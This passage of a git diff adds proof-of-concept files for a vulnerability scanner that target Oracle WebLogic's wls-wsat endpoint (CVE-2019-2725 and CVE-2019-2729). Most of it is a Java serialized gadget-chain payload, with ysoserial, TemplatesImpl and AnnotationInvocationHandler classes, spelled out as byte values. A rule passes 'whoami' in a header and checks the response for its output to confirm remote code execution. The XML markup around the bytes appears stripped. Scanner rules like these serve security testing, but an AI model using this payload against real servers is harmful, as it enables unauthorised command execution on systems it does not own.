+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 56
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 42
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 28
+
+
+ 0
+
+
+ 29
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 0
+
+
+ 31
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 114
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 18
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ 1
+
+
+ 76
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ 18
+
+
+ 57
+
+
+ -74
+
+
+ 0
+
+
+ 61
+
+
+ 77
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ -74
+
+
+ 0
+
+
+ 65
+
+
+ 78
+
+
+ 45
+
+
+ 18
+
+
+ 67
+
+
+ -74
+
+
+ 0
+
+
+ 73
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ 77
+
+
+ 58
+
+
+ 4
+
+
+ 25
+
+
+ 4
+
+
+ -69
+
+
+ 0
+
+
+ 79
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 18
+
+
+ 88
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -73
+
+
+ 0
+
+
+ 94
+
+
+ -74
+
+
+ 0
+
+
+ 100
+
+
+ 25
+
+
+ 4
+
+
+ -74
+
+
+ 0
+
+
+ 103
+
+
+ 18
+
+
+ 105
+
+
+ -72
+
+
+ 0
+
+
+ 110
+
+
+ 58
+
+
+ 5
+
+
+ 25
+
+
+ 5
+
+
+ 1
+
+
+ -91
+
+
+ 0
+
+
+ 16
+
+
+ 25
+
+
+ 5
+
+
+ -74
+
+
+ 0
+
+
+ 115
+
+
+ 18
+
+
+ 117
+
+
+ -74
+
+
+ 0
+
+
+ 121
+
+
+ -102
+
+
+ 0
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 33
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -127
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 30
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -121
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -69
+
+
+ 0
+
+
+ -119
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ -117
+
+
+ 89
+
+
+ 25
+
+
+ 6
+
+
+ -74
+
+
+ 0
+
+
+ -111
+
+
+ 18
+
+
+ 67
+
+
+ -73
+
+
+ 0
+
+
+ -108
+
+
+ -73
+
+
+ 0
+
+
+ -105
+
+
+ 58
+
+
+ 7
+
+
+ 1
+
+
+ 58
+
+
+ 8
+
+
+ 18
+
+
+ -103
+
+
+ 58
+
+
+ 9
+
+
+ -89
+
+
+ 0
+
+
+ 25
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 25
+
+
+ 8
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ 58
+
+
+ 9
+
+
+ 25
+
+
+ 7
+
+
+ -74
+
+
+ 0
+
+
+ -100
+
+
+ 89
+
+
+ 58
+
+
+ 8
+
+
+ 1
+
+
+ -90
+
+
+ -1
+
+
+ -31
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ -96
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ -91
+
+
+ -89
+
+
+ 0
+
+
+ 24
+
+
+ 58
+
+
+ 10
+
+
+ -78
+
+
+ 0
+
+
+ -85
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -82
+
+
+ -74
+
+
+ 0
+
+
+ -77
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -74
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ -79
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 94
+
+
+ 0
+
+
+ -7
+
+
+ 0
+
+
+ -4
+
+
+ 0
+
+
+ -89
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ -73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 9
+
+
+ 3
+
+
+ -1
+
+
+ 0
+
+
+ 109
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 29
+
+
+ -4
+
+
+ 0
+
+
+ 26
+
+
+ 7
+
+
+ 0
+
+
+ -115
+
+
+ -2
+
+
+ 0
+
+
+ 32
+
+
+ 7
+
+
+ 0
+
+
+ -119
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 21
+
+
+ -1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 1
+
+
+ 7
+
+
+ 0
+
+
+ -89
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 35
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 117
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -44
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 27
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 21
+
+
+ 7
+
+
+ 0
+
+
+ 23
+
+
+ 7
+
+
+ 0
+
+
+ 24
+
+
+ 7
+
+
+ 0
+
+
+ 25
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ 113
+
+
+ -26
+
+
+ 105
+
+
+ -18
+
+
+ 60
+
+
+ 109
+
+
+ 71
+
+
+ 24
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 26
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 79
+
+
+ 98
+
+
+ 106
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 60
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 18
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 112
+
+
+ 116
+
+
+ 0
+
+
+ 4
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 114
+
+
+ 112
+
+
+ 119
+
+
+ 1
+
+
+ 0
+
+
+ 120
+
+
+ 115
+
+
+ 125
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 120
+
+
+ 121
+
+
+ -31
+
+
+ 39
+
+
+ -38
+
+
+ 32
+
+
+ -52
+
+
+ 16
+
+
+ 67
+
+
+ -53
+
+
+ 2
+
+
+ 0
+
+
+ 1
+
+
+ 76
+
+
+ 0
+
+
+ 1
+
+
+ 104
+
+
+ 116
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 50
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 97
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 65
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 85
+
+
+ -54
+
+
+ -11
+
+
+ 15
+
+
+ 21
+
+
+ -53
+
+
+ 126
+
+
+ -91
+
+
+ 2
+
+
+ 0
+
+
+ 2
+
+
+ 76
+
+
+ 0
+
+
+ 12
+
+
+ 109
+
+
+ 101
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 121
+
+
+ 112
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 17
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 5
+
+
+ 7
+
+
+ -38
+
+
+ -63
+
+
+ -61
+
+
+ 22
+
+
+ 96
+
+
+ -47
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 70
+
+
+ 0
+
+
+ 10
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 70
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 111
+
+
+ 108
+
+
+ 100
+
+
+ 120
+
+
+ 112
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 119
+
+
+ 8
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 116
+
+
+ 0
+
+
+ 8
+
+
+ 102
+
+
+ 53
+
+
+ 97
+
+
+ 53
+
+
+ 97
+
+
+ 54
+
+
+ 48
+
+
+ 56
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 9
+
+
+ 120
+
+
+ 118
+
+
+ 114
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 120
+
+
+
+
+
+
+
+
+ follow_redirects: false
+ expression: 'response.status == 200 && response.body.bcontains(b"whoami :")'
+
+detail:
+ vulnpath: "/wls-wsat/CoordinatorPortType"
+ author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
+ description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData"
+ links:
+ - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
+ - https://github.com/QAX-A-Team/WeblogicEnvironment
+ - https://xz.aliyun.com/t/5299
diff --git a/core/pocScan/pocs/weblogic-cve-2019-2729-1.yml b/core/pocScan/pocs/weblogic-cve-2019-2729-1.yml
new file mode 100644
index 0000000..919ee57
--- /dev/null
+++ b/core/pocScan/pocs/weblogic-cve-2019-2729-1.yml
@@ -0,0 +1,15065 @@
+name: poc-yaml-weblogic-cve-2019-2729-1
+rules:
+ - method: POST
+ path: /wls-wsat/CoordinatorPortType
+ headers:
+ Content-Type: text/xml
+ cmd: whoami
+ body: |-
+
+
+
+ xx
+ xx
+
+
+
+ oracle.toplink.internal.sessions.UnitOfWorkChangeSet
+
+
+
+ -84
+
+
+ -19
+
+
+ 0
+
+
+ 5
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 107
+
+
+ 101
+
+
+ 100
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -40
+
+
+ 108
+
+
+ -41
+
+
+ 90
+
+
+ -107
+
+
+ -35
+
+
+ 42
+
+
+ 30
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -70
+
+
+ 68
+
+
+ -123
+
+
+ -107
+
+
+ -106
+
+
+ -72
+
+
+ -73
+
+
+ 52
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 119
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 58
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 46
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 46
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 46
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 46
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 9
+
+
+ 87
+
+
+ 79
+
+
+ -63
+
+
+ 110
+
+
+ -84
+
+
+ -85
+
+
+ 51
+
+
+ 3
+
+
+ 0
+
+
+ 9
+
+
+ 73
+
+
+ 0
+
+
+ 13
+
+
+ 95
+
+
+ 105
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 14
+
+
+ 95
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 120
+
+
+ 90
+
+
+ 0
+
+
+ 21
+
+
+ 95
+
+
+ 117
+
+
+ 115
+
+
+ 101
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 105
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 77
+
+
+ 101
+
+
+ 99
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 105
+
+
+ 115
+
+
+ 109
+
+
+ 76
+
+
+ 0
+
+
+ 25
+
+
+ 95
+
+
+ 97
+
+
+ 99
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 69
+
+
+ 120
